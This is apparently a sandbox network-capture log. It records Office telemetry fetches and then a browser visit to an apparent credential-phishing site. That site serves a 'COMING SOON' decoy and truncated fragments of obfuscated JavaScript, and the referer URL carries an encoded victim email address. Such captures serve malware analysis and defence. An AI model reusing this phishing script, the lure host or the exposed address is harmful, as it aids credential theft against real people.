2024-11-07 22:47:28 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:28 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:28 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:28 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d78ce712-d01e-007a-194f-2ef38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224728Z-15869dbbcc6tfpj2hC1DFW384c00000002g0000000003a35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:28 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:28 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9f0f5f99-201e-0096-25f1-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224728Z-16547b76f7fmbrhqhC1DFWkds800000008s000000000rma7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:28 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:28 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224728Z-16547b76f7ftdm8dhC1DFWs13g00000008tg000000006x60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49748	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:28 UTC	708	OUT	GET /favicon.ico HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	931	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-powered-by: ASP.NET x-powered-by-plesk: PleskWin Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Last-Modified: Thu, 07 Nov 2024 22:47:29 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tiIlx2lQ6KjieOAA1tZhZt2MshJBtwHqg13oxfluBX7gGcOA7SUW%2FyAXZiyf5lKuI8nHeqQjzE%2FMXzO3%2BKRfknCMOeoiw1Rac6uM9KtUH%2FUl6tSBJ7sJ2Zuhgm7GBfsQh%2Barr8hQh6ac564%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd861f68466b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1081&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1286&delivery_rate=2664213&cwnd=251&unsent_bytes=0&cid=2ab2dd5467b5a374&ts=387&x=0"
2024-11-07 22:47:29 UTC	438	IN	Data Raw: 31 30 38 31 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 67 69 6d 67 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 69 64 64 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 3c 68 72 3e 0a 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 64 65 6d 6f 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 22 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 62 6f 64 79 2c 0a 20 20 20 Data Ascii: 1081<html> <head> <title>COMING SOON</title> <body> <div class="bgimg"> <div class="middle"> <h1>COMING SOON</h1> <hr> <p id="demo" style="font-size:30px"></p> </div> </div> <style> body,
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 20 43 6f 75 72 69 65 72 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 74 6f 70 6c 65 66 74 20 7b 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0a 20 20 20 20 20 Data Ascii: osition: center; background-size: cover; position: relative; color: white; font-family: "Courier New", Courier, monospace; font-size: 25px; } .topleft { position: absolute; top: 0;
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 64 65 6d 6f 22 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 45 58 50 49 52 45 44 22 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 2c 20 31 30 30 30 29 3b 0a 09 09 77 69 6e 64 6f 77 2e 6d 6f 62 69 6c 65 43 68 65 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 20 20 6c 65 74 20 63 68 65 63 6b 20 3d 20 66 61 6c 73 65 3b 0a 09 09 20 20 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 2f 28 61 6e 64 72 6f 69 64 7c 62 62 5c 64 2b 7c 6d 65 65 67 6f 29 2e 2b 6d 6f 62 69 6c 65 7c 61 76 61 6e 74 67 6f 7c 62 61 64 61 5c 2f 7c 62 6c 61 63 6b 62 65 72 72 79 7c 62 6c 61 7a 65 72 7c 63 6f 6d 70 61 6c 7c 65 6c 61 69 6e 65 7c 66 65 6e 6e 65 63 7c Data Ascii: document.getElementById("demo").innerHTML = "EXPIRED"; } }, 1000);window.mobileCheck = function() { let check = false; (function(a){if(/(android\|bb\d+\|meego).+mobile\|avantgo\|bada\/\|blackberry\|blazer\|compal\|elaine\|fennec\|
2024-11-07 22:47:29 UTC	1057	IN	Data Raw: 30 2d 32 5d 7c 6e 32 30 5b 32 2d 33 5d 7c 6e 33 30 28 30 7c 32 29 7c 6e 35 30 28 30 7c 32 7c 35 29 7c 6e 37 28 30 28 30 7c 31 29 7c 31 30 29 7c 6e 65 28 28 63 7c 6d 29 5c 2d 7c 6f 6e 7c 74 66 7c 77 66 7c 77 67 7c 77 74 29 7c 6e 6f 6b 28 36 7c 69 29 7c 6e 7a 70 68 7c 6f 32 69 6d 7c 6f 70 28 74 69 7c 77 76 29 7c 6f 72 61 6e 7c 6f 77 67 31 7c 70 38 30 30 7c 70 61 6e 28 61 7c 64 7c 74 29 7c 70 64 78 67 7c 70 67 28 31 33 7c 5c 2d 28 5b 31 2d 38 5d 7c 63 29 29 7c 70 68 69 6c 7c 70 69 72 65 7c 70 6c 28 61 79 7c 75 63 29 7c 70 6e 5c 2d 32 7c 70 6f 28 63 6b 7c 72 74 7c 73 65 29 7c 70 72 6f 78 7c 70 73 69 6f 7c 70 74 5c 2d 67 7c 71 61 5c 2d 61 7c 71 63 28 30 37 7c 31 32 7c 32 31 7c 33 32 7c 36 30 7c 5c 2d 5b 32 2d 37 5d 7c 69 5c 2d 29 7c 71 74 65 6b 7c 72 33 38 30 Data Ascii: 0-2]\|n20[2-3]\|n30(0\|2)\|n50(0\|2\|5)\|n7(0(0\|1)\|10)\|ne((c\|m)\-\|on\|tf\|wf\|wg\|wt)\|nok(6\|i)\|nzph\|o2im\|op(ti\|wv)\|oran\|owg1\|p800\|pan(a\|d\|t)\|pdxg\|pg(13\|\-([1-8]\|c))\|phil\|pire\|pl(ay\|uc)\|pn\-2\|po(ck\|rt\|se)\|prox\|psio\|pt\-g\|qa\-a\|qc(07\|12\|21\|32\|60\|\-[2-7]\|i\-)\|qtek\|r380
2024-11-07 22:47:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49749	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:28 UTC	405	OUT	GET /o/jsnom.js HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cid=e9ccd5407bacb271b8cf9efe7842ff16
2024-11-07 22:47:29 UTC	949	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close last-modified: Wed, 30 Oct 2024 13:58:13 GMT etag: W/"80c8aac2d32adb1:0" vary: Accept-Encoding x-powered-by: ASP.NET x-powered-by-plesk: PleskWin Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fQ0mrPeEa63kID%2FZ5njRo8CTc034aD2omrPahYDKP9Q5tvdznYLrIKDMLDIJt1lBN0ZvB5jU1w6TogtOhTWueyAluZ82YHmQ6vPS6zDRSOLyRbek9SCug5UhiwZWiC5J6xD3fxT33cCLo4s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd861cb428d5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=983&delivery_rate=1766931&cwnd=251&unsent_bytes=0&cid=7d79fdb9f6adcbbc&ts=367&x=0"
2024-11-07 22:47:29 UTC	420	IN	Data Raw: 37 63 61 38 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 20 7b 20 63 6f 6e 73 74 20 5f 30 78 35 39 65 62 30 35 20 3d 20 5f 30 78 35 39 65 62 28 29 3b 20 72 65 74 75 72 6e 20 5f 30 78 31 66 61 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 61 65 35 39 2c 20 5f 30 78 33 39 31 66 64 35 29 20 7b 20 5f 30 78 31 66 61 65 35 39 20 3d 20 5f 30 78 31 66 61 65 35 39 20 2d 20 30 78 65 61 3b 20 6c 65 74 20 5f 30 78 63 62 63 31 36 39 20 3d 20 5f 30 78 35 39 65 62 30 35 5b 5f 30 78 31 66 61 65 35 39 5d 3b 20 72 65 74 75 72 6e 20 5f 30 78 63 62 63 31 36 39 3b 20 7d 2c 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 3b 20 7d 28 66 75 6e 63 74 69 6f Data Ascii: 7ca8function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(functio
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 32 30 31 39 63 30 28 30 78 31 32 31 29 29 20 2f 20 30 78 31 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 37 30 29 29 20 2f 20 30 78 32 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 34 62 29 29 20 2f 20 30 78 33 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 34 64 29 29 20 2f 20 30 78 34 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 34 63 29 29 20 2f 20 30 78 35 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 31 38 29 29 20 2f 20 30 78 36 20 2b 20 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 37 31 29 29 20 2f 20 30 78 37 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 5f 30 Data Ascii: 2019c0(0x121)) / 0x1 + -parseInt(_0x2019c0(0x170)) / 0x2 + -parseInt(_0x2019c0(0x14b)) / 0x3 + -parseInt(_0x2019c0(0x14d)) / 0x4 + -parseInt(_0x2019c0(0x14c)) / 0x5 + -parseInt(_0x2019c0(0x118)) / 0x6 + parseInt(_0x2019c0(0x171)) / 0x7; if (_0
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 31 35 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 34 35 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 74 69 74 74 6c 65 54 65 78 74 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 66 6f 6e 74 2d 77 65 69 67 68 74 3a 5c 78 32 30 38 30 30 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 20\x20\x20\x20\x20\x20\x20height:\x20150px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-left:\x2045px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.tittleText\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20font-weight:\x20800;\x0a\x20\x20\x20\x20\x
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 72 64 65 72 2d 6c 65 66 74 3a 5c 78 32 30 30 2e 35 65 6d 5c 78 32 30 73 6f 6c 69 64 5c 78 32 30 23 30 33 38 33 38 37 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 72 61 6e 73 66 6f 72 6d Data Ascii: \x20\x20\x20\x20\x20\x20\x20border-left:\x200.5em\x20solid\x20#038387;\x0a\x20\x20\x20\x20\x20\x20\x20\x20-webkit-transform:\x20translateZ(0);\x0a\x20\x20\x20\x20\x20\x20\x20\x20-ms-transform:\x20translateZ(0);\x0a\x20\x20\x20\x20\x20\x20\x20\x20transform
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 32 30 6c 6f 61 64 38 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 30 25 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 72 6f 74 61 74 65 28 30 64 65 67 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 72 6f 74 61 74 65 28 30 64 65 67 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 20load8\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x200%\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-webkit-transform:\x20rotate(0deg);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20transform:\x20rotate(0deg);\x0a\x20\x20\x20\x20\x20\x20\x20\x
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 32 32 52 6f 62 6f 74 6f 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 45 62 72 69 6d 61 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 4e 69 72 6d 61 6c 61 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 47 61 64 75 67 69 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 53 65 67 6f 65 5c 78 32 30 58 62 6f 78 5c 78 32 30 53 79 6d 62 6f 6c 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 53 65 67 6f 65 5c 78 32 30 55 49 5c 78 32 30 53 79 6d 62 6f 6c 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 4d 65 69 72 79 6f 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 4b 68 6d 65 72 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 54 75 6e 67 61 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 4c 61 6f 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 52 61 61 76 69 5c 78 32 32 2c 5c Data Ascii: 22Roboto\x22,\x20\x22Ebrima\x22,\x20\x22Nirmala\x20UI\x22,\x20\x22Gadugi\x22,\x20\x22Segoe\x20Xbox\x20Symbol\x22,\x20\x22Segoe\x20UI\x20Symbol\x22,\x20\x22Meiryo\x20UI\x22,\x20\x22Khmer\x20UI\x22,\x20\x22Tunga\x22,\x20\x22Lao\x20UI\x22,\x20\x22Raavi\x22,\
